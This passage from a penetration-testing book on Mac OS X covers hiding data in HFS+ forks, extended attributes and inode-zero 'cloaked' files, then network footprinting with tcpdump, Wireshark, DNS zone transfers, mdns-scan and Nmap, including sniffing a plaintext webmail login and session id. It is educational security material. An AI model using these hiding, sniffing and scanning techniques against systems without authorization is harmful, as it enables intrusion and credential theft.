mation that is displayed by the operating system when you see files in the
Finder application. The final type of fork is known as a named fork. Named
forks are available for custom use, as we’ll discuss shortly.
Up until Mac OS X 10.4, resource forks were actively supported within the
operating system. From 10.4 and more recent, resource forks were replaced,
through the use of extended attributes. One piece of evidence consistently pro-
vided for this argument is that newer Apple based applications (based on the
NeXT type application bundle) now contain a full Resources directory within
the application package. This directory holds all the information, such as asso-
ciated icons, that were originally held within the Resource Fork. Figure 3.9
provides an example of one application and an abbreviated list of files in the
Resources directory.
FIGURE 3.8 Single File with Multiple Fork Types (Mac OS X)
HFS Plus 39
Data Forks
The data fork contains the unstructured data for an application or user data.
Every normal file has a data fork, since this is the primary storage for data.
When you open a new text file, you’re essentially creating a file with a single
data fork. All the text you put into the file is stored in the data fork. This is true
with application files, as well.
FIGURE 3.9 Enumerating the Resources Directory
Forks are no longer the exclusive domain of UNIX file systems. With the release of Windows NT
in 1993, Microsoft introduced the use of forks within its file system, as well. This was done at
the same time NTFS was released. These forks were called Alternate Data Streams (ADS), and
it’s been speculated that their introduction was, at least in part, an effort on Microsoft’s part to
be more compatible with Apple’s Mac OS. Up until this point, any files moved from an Apple
computer would lose all forks, except for the primary data fork.
Regardless of the actual reasons for the introduction of ADS into the Windows operating
system, Microsoft was quick to take advantage of the functionality. ADS were used to store
all sorts of metadata, similar to their use in Mac OS X. Even virus creators used ADS to their
benefit, with the first Windows based virus to utilize ADS being the Win2k.Stream virus, dis-
covered in 2000.
CHAPTER 3: The Filesystem
There are files that don’t have any data in the primary data fork. We’ll go into
this topic later, but a user is able to have resource forks or named forks that
contain information, while the main data fork is left empty.
Resource Forks
While every file in Mac OS X has some sort of data fork (whether or not it
contains data), not every file has a resource fork. Under Mac OS X 10.4 and
earlier, many of the Mac related files do have resource forks. Resource forks
were originally intended to store extra information about the file, such as the
graphical elements like icons. But the resource fork is very versatile, and can
be used for storing many different types of data. After 10.4, however, resource
forks were formally replaced with the extended attributes. We mention this
twice because there appears to be some confusion on a variety of developer
forums about whether this actually occurred.
Named Forks
Named forks are allowed in the operating system because of the Attributes File
B-tree. While the operating system itself supports any number of named forks,
in theory, the actual number of named forks is limited by the number of nodes
that can be held within a single B-tree. While the file system certainly still sup-
ports the use of these forks, but it’s difficult to create a list of application that
use them, because they’re so few. The majority of the metadata associated with
The transfer of files across the Internet (and some normal networks, including Network File
System (NFS)) will result in the loss of all forks, except for the data fork. This is because the
network protocols in use on most networks don’t take into account the various forks of a single
file. This is also true if you try to move forked files between operating systems. While many
operating systems support forks of some sort, they may or may not support them in the same
In many cases, when Apple needs to copy files to a non-Mac system, it will split the forks. If
you’ve ever copied a directory of digital photographs from your Apple computer to a Windows
system, you may have notice that each file had another, additional file with a “._” as the exten-
sion. This is how Mac OS X splits out the non-transportable fork data into a separate file, to
allow users to take all the relevant data to the new system. However, when we’re speaking
specifically of digital photographs, this metadata is more than likely thumbnail of the image,
along with some other benign information. Users should be warned that some split forks like
this could contain legitimate data that is used for the processing of the file.
For more information on these functions, we recommend you research AppleSingle and
AppleDouble. These are legacy tools within the Mac OS, that were revived with the release of
Mac OS X in order to allow fork data to be moved with the files.
Fiddling with the File System 41
files is most likely stored in the Attributes File (B-tree) that we discussed earlier
in the chapter. But the implementation for named forks has not been removed
from the file system at the time of this writing.
So now that we’ve covered many of the basics of the file system, and you know
how, in general, how it works, let’s look at some of the ways we can find or hide
information within the file system.
Playing with Attributes
File attributes that are stored in the Attributes file can be view, and something
manipulated, with the xattr command. This command be can used to “display,
modify, or remove the extended attributes of one or more files, including direc-
tories and symbolic links. Extended attributes are arbitrary metadata stored
with a file, but separate from the file system attributes (such as modification
time or file size). The metadata is often a null-terminated UTF-8 string, but can
also be arbitrary binary data.”3
The man page for the tool provides a decent amount of information about the
tool, but Apple has been lax is providing too much detail to developers about
the capabilities of the tool, or how attributes are managed. But extended attri-
butes aren’t going away anytime soon, and are used by programs such as Time
Machine, where backup information is stored for files, and Finder, which stores
information about deleted files.
Let’s look at a quick and easy example of the xattr command. The command
introduced with Apple provides only the most cursory capabilities. Bear in
mind that the Extended Attributes is really just a file full of custom key/value
pairs; similar to a flat file database. The first virus to take advantage of this
format was the Leap. A worm (also known as the Oompa Loompa worm).
The worm affects the first iteration of Mac OS X (10.4—Tiger) to use Extended
Attributes instead of Resource Forks.
Let’s start with an example, so we know exactly where we stand. For this exam-
ple, we’ll use the stock xattr command to look at the information stored for a
file. Then we’ll use another commercial, third party application to look at the
same file. The file in question is an image file that was generated and emailed
to the author when someone faxed a document to one of those Internet Fax
companies. Let’s look at what xattr finds for us, in Figure 3.10.
3 From the xattr man page within Mac OS X.
CHAPTER 3: The Filesystem
As you can see from the figure, we were able to use the –l flag to list out all of
the available keys within the metadata. Two keys were discovered:
metadata and The values for each key are shown in HEX
and ASCII, where applicable.
But there are other applications we can use to do the same thing, that might
provide more flexibility, and ease of use. The tools we’ll use for the fol-
lowing examples come from a company named RixStep (http://rixstep.
com/4/0/). We’ve purchased the ACP toolkit, in all of its 64-bit glory, for
these examples.
The first tool is the xattr tool included with ACP. This is a GUI application,
where the user simply drags and drops the file they’d like to examine into the
tool’s main window. The extended attribute keys will appear in the column on
the left, while the values for each key can be viewed by highlighting the key
you’re interested in investigating. In Figure 3.11, I’ve dragged the same PDF fax
file to the tool’s window.
As you can see from the example, we have two keys in the extended attributes
tree. Highlighting the first key (,
we get a lot of detailed information about the transmission. What you can’t
see here (because we’ve blurred it out) are the reported source phone num-
ber, along with the actual caller ID information for the transmitted fax. The
two keys are the same as what we saw earlier. The tool allows us to com-
pletely delete the keys, but not edit them. In Figure 3.12, we’ve deleted the
key that contains our private information, leaving only the
key behind.
FIGURE 3.10 Using xattr to Look at Extended Attributes
Fiddling with the File System 43
Hidden Files
We’re going to sound a bit like gray beards here, but, back in the good old days,
if we wanted to hide something in Unix, we’d just assign it a filename with a
dot at the beginning, or mount another directory over that object. That was
good enough. After all, you need to know special commands to list the hidden
FIGURE 3.11 ACP’s xattr Tool
FIGURE 3.12 One Metadata Key Deleted
CHAPTER 3: The Filesystem
dot files, right? And it takes a savvy system administrator to locate mounts over
other directories that might have content in them.
But things have evolved, and we can’t pretend the world is so simple as it
was. As with most things “Apple,” there are things most users don’t know
about how the system works. And while the Finder will show users most
files, it won’t show them all. This goes beyond the normal “hiding files from
view so users don’t bonk up the system too badly.” That can be remedied
with a few clicks in the Finder preferences, or by browsing from the com-
mand line.
No, Apple currently hides system critical files and directories within the file
system in a unique way. In fact, Apple hides its files in the same manner that
many rootkits and Trojans will hide their files; by cloaking them within the file
system. As it stands now, each file in the file system is assigned a unique identi-
fier, making it easier to locate the file. The notable exception is inode 0 (zero),
which is used in normal file systems to mark a file for deletion.
Files with an inode of 0 have, in essence, no real identifier. The end result
is that the files won’t be shown in Finder or from the command line. But
using the GDE application from within the ACP toolkit, we can view these
hidden directories and files, change their permissions, and access their
Let’s start with a normal directory to set a suitable baseline for the tool we’ll
use. We’ll start with the Applications folder. In Figure 3.13, we’ve taken a
screen shot of the Applications folder, as it appears to the GDE application.
On the far left column of the image we see the assigned inode for each object
in the directory. Remember, every inode number is different, except for the
deleted objects.
Notice in the bottom, left corner that the applications points out the number
of items in the current folder, along with the number of cloaked items. There
are other pieces of information here that are less useful, like the type of item,
length of the item’s name, and length of the record itself. Now, let’s double
Fiddling around with the permissions in hidden files is a great way to destroy your operating
system. You should only do this if your level of expertise allows you to put things back in order,
once you’re done dinking around with things. We show you here how the process works using
a GUI application, but the process can be completed using custom, command line software.
Again, please use caution if you attempt to make these changes.
Fiddling with the File System 45
click on the Parent Directory icon (hard drive with two dots next to it), and see
what we can find there (see Figure 3.14).
At the top level of the file system we see multiple files with an inode identi-
fier of zero. As hackers, we’re most interested in the items that might be hid-
ing important information, such as the ones of type DT_DIR. In our example
above, two directories have been assigned inode zero, and they happen to be
the same two items identified by GDE as being cloaked. These are the .HFS+
Private Directory Data and the HFS+ Private Data items. While the files have
had part of the deletion process performed on them, they’re not actually sched-
uled to be deleted. Sure, they have the appropriate inode number to be deleted,
but they also need to be scheduled for deletion.
We show you this, as a hacker, because it begs an important question. If Apple
has created a system with the ability to hide files directly from the main com-
ponents of the operating system, and the user, then why can’t others do the
same thing? The simple answer is that they can. Apple has already provide
the proof of concept, and the methodologies aren’t really all that new to
rootkits and malware creators, since they’re always interested in hiding their
FIGURE 3.13 Using GDE to Browse the File System
CHAPTER 3: The Filesystem
The file system in any computer is crucial to the security of that system. Not
only is it the repository for the operating system and all users data, it’s also the
perfect location to hide information. And there are a ton of places we can hide
that information, if we just understand our options.
We started the chapter by defining a file system, and explaining its history. There
have been a number of evolutions over the decades, most notably due to increases
in hardware and software capabilities. But evolution often involves increased com-
plexity. And complexity usually introduces the potential for bad things to happen.
We’ve also given the reader multiple options for hiding data. We’ve covered
the ability to hide information within the various forks of a file. Each file has
FIGURE 3.14 Top Level Directory with Cloaked Files
Conclusion 47
the potential to host multiple byte streams of data, that can be placed in forks.
While it appears Apple is on the verge of eliminating this functionality, it’s still
available in earlier versions of the Mac OS X operating system.
Additionally, as we move away from forks, Apple has provided the Extended
Attributes file to provide a structured means for providing key information
about a particular file system object. But this file is also vulnerable to compro-
mise and malicious use. This was made almost immediately evident with the
release of the Oompa Loompa worm once Mac OS X 10.4 was released (the
first with the extended attribute functionality).
Finally, we covered the ability to cloak files within HFS+ by partially deleting
the files we want to hide. Assigning our targets an inode identifier of zero, but
never scheduling them for deletion at the base level, we can hide the data from
the system and the users, but still have it handy if we’ve been smart enough to
note the actual allocation block addresses when we created the files.
Hacking the file system within Mac OS X isn’t all that difficult. Hopefully this
chapter has provided enough of a foundation that you’ll be able to expand
your own knowledge through your own research.
This page is intentionally left blank
The Hacker’s Guide to OS X.
© 2013 Elsevier, Inc. All rights reserved.
Footprinting OSX
Introduction ...............49
Off the Client .............50
On the Client .............69
Conclusion .................77
So you’ve survived the trek through the book thus far and by the title of the chap-
ter you must have certain expectations about what you will read within. While
this chapter is titled Footprinting, we will be discussing various aspects of recon-
naissance from both the perspective of a passive listener on the network and active
attacker on the system. This step is one of the most critical phases an attacker
takes when approaching any information system and can be compared to send-
ing out scouts to understand what the enemy has in place before you attack.
One point of confusion that we must clear up before you begin is the differ-
ence between a footprint and a fingerprint. Often the terms are tossed about
incorrectly by people inside (and outside) the security community so we will
establish basic definitions for these terms going forward.
Footprinting—The techniques and tactics for determining information about a
given system. These techniques can be passive (watching traffic pass by on the
wire or DNS queries) or active (sending requests to open ports to attempt to
determine what services are responding).
Fingerprinting—Establishing a set of distinguishing features about a given
users’ behaviors within the enterprise or artifact left behind by programs inter-
acting with an information system. We use these fingerprints to track a users’
activity to attempt to exploit their habits. The easiest way to grasp this concept
is to think of any murder show; they dust for prints to find the killer just as
computer forensic examiners will analyze a comprised host to determine the
signatures left behind by malicious software.
Now having read these first few paragraphs you must be thinking to yourself about
how riveting this particular topic must be, but as stated just a few lines earlier these
skills are important and can determine your success or failure before you ever get
a chance to launch an exploit at the target. This chapter is going to cover both
CHAPTER 4: Footprinting OSX
general techniques and Apple specific techniques we’ve learned over the years and
the tools we use to establish system footprints and glean information from a host.
If you’re an experience penetration tester you may already be familiar with a few
of the more introductory topics, but I would suggest reading the Apple specific
information toward the latter half of the chapter.
Picture this; you’re dropped into an environment and told to steal data from a
Web server, time is ticking, and the defenders are watching. You, as an attacker,
do not know what they can see on the network or what services they are
monitoring so you must be careful not to cause too many ripples as you move
about the network and plan your attacks.
Like ninjas preparing to quietly spill the blood of our target, we lurk in the
digital forest searching for our victim. The easiest way to find something is
to simply listen using some form of packet analyzer capable of reading and
decoding the packets as they traverse your network segment. Notice I said your
network segment; packet analyzers like Wireshark or tcpdump are only capable
of analyzing traffic which your NIC is capable of receiving. This means you
need to be on the same broadcast domain or access layer as your target.
Tcpdump is a program available on most Linux- and Unix-based operating sys-
tems and comes preloaded on some distributions like Backtrack and Ubuntu
(see Figure 4.1).
All of the information presented to you by tcpdump is quite useful to deter-
mine packets traversing your NIC. If you do not have the ability to install tools
FIGURE 4.1 Tcpdump of Traffic During a Ping Test to Google.Com
Off the Client 51
to your attack distribution or some other limitation preventing you from using
a GUI analyzer like Wireshark, this tool is quick and easy to use. So what do
these strings mean inside of tcpdump? (see Table 4.1).
This is a very basic output from tcpdump dumping using no flags and we’ve
pointed out the basics for reading the raw output from the tool. The problem with
something like tcpdump is data presentation. As humans we tend to like visual
representations of data elements for both readability and usability. It is easier to
quickly view a color coded packet output of a GUI packet analyzer like Wireshark
than it is to scroll through tcp output looking for a specific line or using grep to
hunt through the output. The overall content of the two tools though are almost
exactly identical and you will see this pattern continue throughout the book as
we introduce the command line tool and then the visual variant, where necessary.
To begin a packet capture you need to select an interface to listen to. You can
select the interface on the start page of Wireshark under Capture or the button
directly under File will bring up a list of interfaces that Wireshark can currently
see (see Figure 4.2).
Table 4.1 Tcpdump Output
23:43:22:430034 IP seq 10 length 64
Timestamp Protocol Source address Destination
FIGURE 4.2 Wireshark Start Page Showing Interface Capture Options
CHAPTER 4: Footprinting OSX
Seeing as we are merely observing as this point let us take a look at the output
of Wireshark below.
In Figure 4.3 we can see the wealth of unfiltered packet information provided
to us by Wireshark. The application has taken the packet and parsed out the
header and payload information for us to read easily. Worry not if you do not
understand all the content presented within Wireshark, we will continue to
explain and develop your understanding as we progress through the book.
The basic information presented within this unfiltered view of Wireshark is
very close to tcpdump: timestamp, source, destination, protocol, packet length,
and some decoded info to help us understand what the payload contains, help-
ing us to identify the purpose of the packet. In this particular example you can
see a few different query types being transmitted to and from the host. Most
of these packets are very common as part of the background noise you will see
on a network during your engagements such as ARP requests, DNS requests,
DHCP announcements, and so forth.
Through some careful observation you’ve noticed some special traffic going to
other systems beyond the ARP requests to the router, but the packets by them-
selves are just not as exciting as you had hoped. Though useful to tell you there
are other servers somewhere in the environment, the packets are merely point-
ing the way to your next stop, the DNS servers. To an attacker, the best thing
about DNS servers is that they are usually very busy handling lots of legitimate
requests and will tend to respond with as much information as they possibly
can if you ask nicely. By querying the DNS server and providing as little infor-
mation as the domain name of the server, workstation you’re targeting, or even
the just IP address we can see a wealth of stored information. There are literally
FIGURE 4.3 Wireshark Running a Capture on eth1
Off the Client 53
hundreds of general hacking or network administration books on the shelves
that can and do dive very deep into DNS and what is possible with it. For our
purposes we’re going to explain some basics techniques you can use for infor-
mation gathering when there is a DNS server within the environment.
So from within our Backtrack distribution all we need to do to start our DNS
adventure is to open a terminal and type nslookup or nslookup www.yourtarget.
com (the commands are same in Windows). The difference between the two
commands is that the first command will run nslookup interactively whereas
the second will simply query the DNS server and display the output.
From the DNS query example in the Figure 4.4 above we are able to see I
entered interactive mode and asked my DNS server to tell me what the IP
address for the server claiming to be is.
Now say for example we’ve been watching our little network segment with
Wireshark and we see a bunch of requests going out to an IP address from
FIGURE 4.4 Nslookup Utility Doing a Forward Lookup
Google and other large companies use virtual IPs and other large enterprise level techniques
to distribute load to their servers. As a result of this each time you query their TLD (Top Level
Domain) odds are you will get a new address from the DNS server.
CHAPTER 4: Footprinting OSX
many hosts and we’d like to know what that server is called. We have a
few options; we can ping the server, but then we’ve touched the server,
or we can use the same nslookup commands to do a reverse DNS lookup
which will translate the IP address to a domain name or hostname for us
(see Figure 4.5).
And in OS X- and *nix-based operating systems we can use the host command
to initiate a reverse lookup (see Figure 4.6).
We’ve seen some basic uses of the nslookup tool, but what is actually inside a
DNS entry (resource record) that we care about? In the table below we can see
a few of the resource records that will provide good information to us as an
attacker (see Table 4.2).
A zone file is a record of information about systems within a particular
zone that the DNS server uses to answer queries. Looking inside a zone file
will reveal how these attributes are laid out for the DNS server to parse as
it responds to your queries. Correlating the attributes below to the table
above will help to define the purpose of each type of record (see Figure 4.7).
FIGURE 4.5 Nslookup Utility Doing a Reverse Lookup
FIGURE 4.6 OS X Host Using Linux/Unix Host Command for Reverse Lookup
Off the Client 55
Table 4.2 Table of the Most Commonly Used Resource Record
Type Name Description
A IPv4 Address Record Used for storing the IPv4
address to hostname
AAAA IPv6 Address Record Used for storing the IPv6
address to hostname
CNAME Canonical Name Record Used for storing alias names
MX Mail Exchange Record Used for storing the mail
server IP address for the
SOA Start of Authority Record Contains domain
information such as
administration emails,
refresh timers, and more
TXT Text Record Can be used to store human
readable text
FIGURE 4.7 Example of a Zone File
CHAPTER 4: Footprinting OSX
We see with our zone file example some very interesting things. Before we begin
to analyze this record I want to take a moment to point out that in most cases
you will not be able to see the zone record so it will take some poking around
or using techniques like zone transfers which will be covered later. Some things
to point out in this record that you may have noticed already would be the pres-
ence of their primary mail server, their router has a DNS entry, and they’ve listed
a handful of workstations (with the operating system in the title) and servers.
Some of the more advanced techniques with nslookup allow you to manipulate
the server from which you’re requesting information, change record query
types, and if they have configured their DNS server incorrectly you can pull
down every entry they have. Some examples of different nslookup commands
are in the figures below (see Figure 4.8).
Here we’ve set our server to query as (Google’s public DNS server) and
changed the query type (q = mx) to mail exchange records, then we simply
FIGURE 4.8 Using Nslookup to Find Mail Exchange Record for an IP Address
You can see a list of all available commands in nslookup by entering interactive mode and typ-
ing set all.
Off the Client 57
type the desired domain ( and it tells us all the MX records for that
domain (see Figure 4.9).
In this example we have issued a single command ls and it has returned a list of
all the hosts in the remote example domain. If the DNS server is configured incor-
rectly this will allow the attacker to save tremendous amounts of time as they will
have a nearly complete list of server to IP address mappings with little work.
FIGURE 4.9 Zone Transfer Example Using nslookup.
This is a zone transfer test service was setup by DigiNinja (
zonetransferme.php). The authors of the book do not advise you to go out and just attempt to do
zone transfers on whatever domain strikes your fancy. Only test attack techniques on network
you have permission to do so.
CHAPTER 4: Footprinting OSX
We have almost finished this section about DNS, but we cannot rightfully conclude
without mention two last items in this introduction. The first item to mention is
domain information groper (dig); dig is a great command line tool that offers a
huge amount of flexibility and ease when doing DNS recon (see Figure 4.10).
Looking through the output of dig you can see several of the records that were
highlighted earlier in the chapter. We can see has an A record
pointing to their Web server, a SOA record, MX for their two mail exchangers,
and several TXT records. In the figure below is the same zone transfer tech-
nique we did in Windows, but with dig. As you can see, dig is a powerful tool
in your attacker arsenal (see Figure 4.11).
Now we’re going to cover our last topic on DNS, mDNS (multicast DNS). What
is this mDNS? Where did it come from? What does it do? These are all very
good questions and we may be able to answer a few as you read on.
mDNS is an Apple preferred zero configuration protocol that uses a special
API very similar to the DNS system. mDNS evolved to include the nicer auto
configuration features of the Apple Talk protocol, which as of OS X 10.6 is
FIGURE 4.10 Example of Using the dig Application to Gather Resource Record Information
If mdns-scan isn’t included with your particular testing image, you can download the software
from here:
Off the Client 59
no longer supported. Instead of the DNS server storing resource records, each
mDNS client on the LAN stores their own records locally. When a client wants
to figure out what IP address belongs to a given hostname it sends a request
to the multicast address in the same way ARP sends to requests
to FF:FF:FF:FF:FF:FF to find the MAC associated with an IP address. The cli-
ent with the corresponding local A record will respond. In the figure below
is a shot of the mDNS browsing tool, mdns-scan, which looks on the local
network for mDNS traffic as it is announced by the devices (see Figure 4.12).
FIGURE 4.11 Using dig for a DNS Zone Transfer
FIGURE 4.12 Using mdns-Scan to Check the LAN for mDNS Traffic
CHAPTER 4: Footprinting OSX
An example of this would be to ping macbook.local which will send out a mul-
ticast address on the LAN and look for a response back from the machine with
the A record. In the event that you start a service that communications through
the Bonjour software and the mDNS cache is empty, the host will send out
UDP Service Discovery packets (DNS-SD). We will discuss more on Bonjour in
later chapters. Techniques and a more detailed vulnerability analysis of mDNS
and DNS-SD can be found in depth in books like The Mac Hackers Handbook
by Charlie Miller and Dino Dai Zovi.
So we have looked briefly at two types of packet analyzers, Wireshark and tcp-
dump. We have also taken a good look into the function of DNS and how to
extract useful information about a host from resource records contained in DNS
servers. Now we are going to take a look at using Wireshark to identify different
types of traffic you might see coming from an OS X host. To understand the traffic
you may see traversing the network we need to take a moment to explain the differ-
ent functions OS X can serve within a home and enterprise environment. In most
large corporate environments you will not find an OS X box acting as a directory
server or mail exchange, but that not to say that it does not have the capability.
You are most likely going to find a Mac Pro or variant of the Macbook being
utilized at the user level or as a single instance server for a group. From an
attacker perspective this may not seem like a juicy target, but many corpo-
rate IT departments are just now learning how to integrate OS X into their
mostly Windows environments. This means OS X hosts are likely to be running
unnecessary services, open shares, no anti-virus, and many more things we’ll
talk about in the coming chapters.
We’ll start with a look at the server version of OS X and what features that it adds
to the base OS X environment. Since the advent of OS X there has always been a
server operating system to accompany the release of the base OS X distribution.
Over time the server has gone from a very minimal and primitive feature set with
OS X Server 1.0 to a very capable and fully integrated feature set that runs as an
application inside of the native OS X up to 10.7.x. The list of services and applica-
tions included within the server environment would take several pages to list so we
will just highlight a few applications and services of interest (see Table 4.3).
Again, this is not an exhaustive list. There are still applications and services
not mentioned here, but as you can see just from this list that even if the base
operating system is up to date on its patches we may have other avenues of
attack on these vulnerable services. Apple has had a reputation as of late for
not promptly responding to security incidents in its base OS, let alone updat-
ing third party software packages. Two recent examples of security incidents
with OS X are the Java-based Flashback vulnerability1 and the Filevault clear
1 Flashback Link.
Off the Client 61
text password vulnerability.2 These two incidents and several more will be
discussed in later chapters, but be aware that OS X is vulnerable to the same
human error weakness that Windows is (see Figure 4.13).
2 Filevault Link.
Table 4.3 Short List of Services Provided by the OS X 10.7 Server
Name Services
File and Print Services AFP, SMB, Samba 2(<10.6)/ Apple SMBX
(10.7),NFS, FTP, WebDav
Directory Services Open Directory, Backup Domain Controller,
Mail Services Postfix, Mailman, SpamAssassin, ClamAV
Calendar Services iCal Server
Web Services Apache, Perl, PHP, Ruby, MySQL
Collaboration Services Wiki Server, iChat Server
Application Services Tomcat, Java SE, Apache Axis
Networking Services DNS, DHCP, NAT, VPN, Firewall, NTP
FIGURE 4.13 OS X 10.7 Server Configuration Prompt
CHAPTER 4: Footprinting OSX
This is the server application’s main configuration prompt following installa-
tion from the App Store, as seen above. It shows some useful information such
as what a server might have control over for example, users’ mobile devices
like iPhones and iPads, in addition to its normal functions. If you are poking
around on an OS X box and happen to see the “world logo” you should inves-
tigate, as the configuration utility does not require administrative privileges
to launch. An example of the configuration utility screen from our test server
can be seen below listing out all the services it can provide. A particular item
of interest that we have highlighted is the Users panel, where you can add,
modify (including resetting a password), or delete a local user all without
administrative authentication (see Figure 4.14).
So let us move on to some examples of service hunting now that we have an idea
of what this OS X server can provide. We, for the purposes of demonstration
and education, will assume with these packet captures that you were able to
FIGURE 4.14 OS X 10.7 Server Control Panel Showing the User Control Screen
Off the Client 63
see network traffic coming from these machines. We’ll discuss general attack
techniques in the Offensive Tactics chapter, so if you would like to see some
ways to jump around the network feel free to peek ahead (see Figure 4.15).
In this packet capture we can see that our server of interest,, is com-
municating with different hosts throughout the network. Looking through the
protocol list we can see various service announcements and lots of traffic over
HTTP. This does not mean that HTTP is the only service running or being offered
by this server; it means that in the time we were running our capture this was
the only service communicating over the network. As we are still in the passive
reconnaissance stage, we are not interacting with the services and as such we can
only look at the packet payloads to attempt to determine the service version. We
will take a moment to dissect the traffic we have observed from the server to see
if we can establish what specific version of these services are running.
When Wireshark is expanded we can see the actual packet payloads—the mate-
rial they are carrying across the wire. This is merely a fragment of the whole
conversation, but a timely capture and analysis can provide a great deal of
information. You can see in the example below that the Web server is being
sent a message from a client. We can tell that it is being sent data by looking for
the keywords of POST or GET in the info field of Wireshark. All the HTTP traf-
fic that follows should be interesting: we can see what someone is browsing by
looking for HTTP/200 responses, what they are sending as mentioned above,
FIGURE 4.15 Wireshark Capture Showing Traffic Going to and from
CHAPTER 4: Footprinting OSX
and any other aspect of communications with the Webserver. This is possible
because the protocol (HTTP) the client is passing the request through is not
encrypted and, as ironic as this is, HTTPS is not used for authentication in the
default installation of OS X Server (see Figure 4.16).
In this screenshot we have highlighted the packet of interest. The client appears
to making a request to a directory on the Webserver called Webmail which is a
great opportunity to take a peek inside the communications and see what the
client is up to (see Figure 4.17).
After we highlight the packet, we can drill down into the useful information by
expanding the section called Hypertext Transfer Protocol in the packet detail pane
below the packet listing. Inside this expanded section we can see that it is indeed
a POST request (information has been submitted to the Webserver via a form on
some page) and a lot of other very useful information. From this unencrypted
communication we can see several things the user wants to hide from us, includ-
ing the sessid which we might be able to replay, the Webmail_des_key which could
be interesting, and a field called Line-based text data. Expanding this Line-based
text data field, we can see this looks a considerable amount like a variable string
submitted to a Webserver in a POST or GET request. We have hit the jackpot on
this packet capture as we can see in the string what the POST request is submit-
ting: _task=login, and we’ve seen the username and password of the user in plain-
text with _user=test and _pass=test.
We’ve got the username and password of a user, but we’ll just look through pack-
ets from our capture for some icing for our cake. In the packet detail pane we
FIGURE 4.16 Highlighted HTTP Communication Packet Destined to
FIGURE 4.17 Expanded Packet Detail Showing the Contents of a TCP Packet in Wireshark
Off the Client 65
once again drill down into the Hypertext Transfer Protocol to see what gems the
server has presented us with (see Figure 4.18).
We can see a few things from the top of the packet detail pane such as this is a
HTTP 200 OK which for us means that this is the Webserver sending data back
to the client. Just below this line you will see a string called Server. In this string
Apple has so graciously placed most of the Webserver’s current package patch
levels all in in one easy to find place. We can see the Webserver is running Apache
2.2.21, OpenSSL 0.9.8, and PHP 5.3.10. This ServerSignature can be turned off by
the administrator, but most administrators we have encountered over the years
choose to leave it on from ignorance or by choice. This is very useful informa-
tion to us as an attacker as we have not even made contact with the target at this
point and yet we can now reference sites like US-CERT’s National Vulnerability
Database (NVD)3 or Exploit DB4 (Use the shell code and proof of concept code
at your own risk) to find exploits for the package versions this server is running.
Continuing our pattern of exploration we once again dive into the Line-based
text data where we can see the raw html the Webserver passes back to the cli-
ent. If we were to skim through this we could the see the contents of the user’s
inbox just by looking through the packet details and reconstructing the conver-
sation. Wireshark is a very powerful packet analyzer and we have yet to begin to
scratch the surface of its power. We will continue to use Wireshark throughout
the book and resources to other great places to learn about it have been pro-
vided in the Extras chapter.
This is a lot of information to absorb about an application in a small amount
of time and people spend a considerable amount of effort learning about
4 Exploit DB (
FIGURE 4.18 TCP Packet Showing HTTP Traffic in Plain Text in Wireshark
CHAPTER 4: Footprinting OSX
information transmission at the network layer and below so if it looks a bit
overwhelming; remain calm, explore your network, and read on.
So now you have reached the point where you have determined you can
glean no more information from the passive communications of the server
and now you are going to take a more aggressive approach in harassing infor-
mation out of the server. The key here is to maintain stealth and not trigger
network intrusion detection systems (IDS), or the host-based IDS due to
excessive poking, even though the host-based IDS is somewhat rare on OS X.
The first tool we’ll talk about in this portion of the chapter is Nmap5, the
network Swiss Army knife written by Gordon Lyon. Nmap is an indispens-
able tool used by many professional and “not so professional” penetration
testers. If you are not already familiar with this tool and how it functions you
will be by the time you finish reading the book. Beyond just setting it to scan
port, Nmap has the ability to run Nmap Scripting Engine (NSE) scripts that
can do a considerable amount of service enumeration and even exploitation
of vulnerabilities which we will touch on in later chapters. Also, for those
who prefer or need a GUI Nmap does have an interactive front end for use on
multiple platforms called Zenmap. We will be using the command line Linux
version of Nmap for our examples, but the commands will all be the same.
Let’s jump right in. In the example below we ran a normal Nmap scan of our
OS X host with the server application running. It is interesting to note that the
OS X firewall was running during our scan and the open ports listed in scan
were exposed to the network unfiltered. This type of scan can be run by simply
typing: (see Figure 4.19).
nmap target (hostname or IP Address/range)
This type of basic scan will run incredibly fast as it scans the 1000 most common
service ports and uses the TCP Syn scan technique to attempt to determine if the
port is open. Another common term for this type of scan is a half-open scan as
the TCP connection is never completed and therefor more difficult to detect by
some IDS products. The process the scan uses to determine if the port is open is
by sending a SYN packet and if the port is open it will respond with a SYN/ACK
packet, if it is closed for some reason it will respond with a reset (RST) packet.
There are more subtleties to the TCP stack that we discuss as you progress, but
this is good beginning. As a note, flooding the network with scanning traffic will
still most likely get you caught with a half decent administrator watching.
From this scan we can see that there are several interesting services open and
responding to requests. We can see some common and not so common ports
5 Nmap (
Off the Client 67
such as SMTP (mail server), HTTP (Web), 110 (more mail), 331 (Quicktime
Streaming service admin), 443 (secure Web), 548 (Apple Filing Protocol), and
FIGURE 4.19 Basic Nmap scan for the Top 1000 Ports
The Apple Firewall has three Advanced Settings.
Block all incoming connections:
This will block all incoming connections to services except the ones that Apple deems neces-
sary to your computer’s operation. In this case it will not block:
Configd—Used for DHCP and network services.
mDNSResponder—Used for Bonjour.
raccoon—Used for IPSec.
Automatically allow signed software to receive incoming connections:
Applications that are digitally signed by a valid certificate authority will automatically be
added to the allowed application list. Apple gives iTunes as an example of a service that will
automatically be allowed to receive connections through the firewall.
Enable stealth mode:
Basically your computer will not respond to ping, but will accept any connection for an
authorized application.6
6 MAC OS X v10.5, 10.6:About the Application Firewall (
CHAPTER 4: Footprinting OSX
5222/5269(Jabber). But wait, you say, the firewall was running so how can this
be? That is something we need to clear up about the Apple built in firewall.
Though it is a firewall capable of per port blocking it is actually implemented
as an application-based firewall. This means, if an application has been granted
permission it can open whatever ports it wants. In this case as part of the function
of the OS X Server install it was granted permission to open whatever ports it felt
At this point we’ve marked our target, we’ve run a basic SYN scan, and we’ve
noted some interesting ports. Nmap looks like a neat little application so far,
but what can it really do? Well, we will now show you the flip side to stealth
which is the-A option. When you use this option to run the scan it will be
very loud and very obvious in a log, but will give you back all the information
nmap can in a scripted scan. The-A option will enable OS Detection, version
detection, script scanning (NSE scripts), and traceroute. The command to run
this type of scan is: (see Figure 4.20).
nmap -A target(hostname or IP Address/range).
As you can from the snippet in the example above the output of the-A option
is drastically more than you will get with just a basic scan. In this you can
see that it has pulled the service names from their banner or used a script to
attempt to extract information from the service. Of note is the http-favicon:
which shows Apache on Mac OS X and smpt-commands: which shows a list of
FIGURE 4.20 Nmap with the -A Option Showing Service Details
On the Client 69
all the smtp commands the mail server would respond to when the NSE script
ran against it. In the example below you can see another part of the-A output
where the Postfix smtpd has responded with some additional information and
the script puts it in a much more presentable format (see Figure 4.21).
Running the-A against a production system will cause a very long output to be
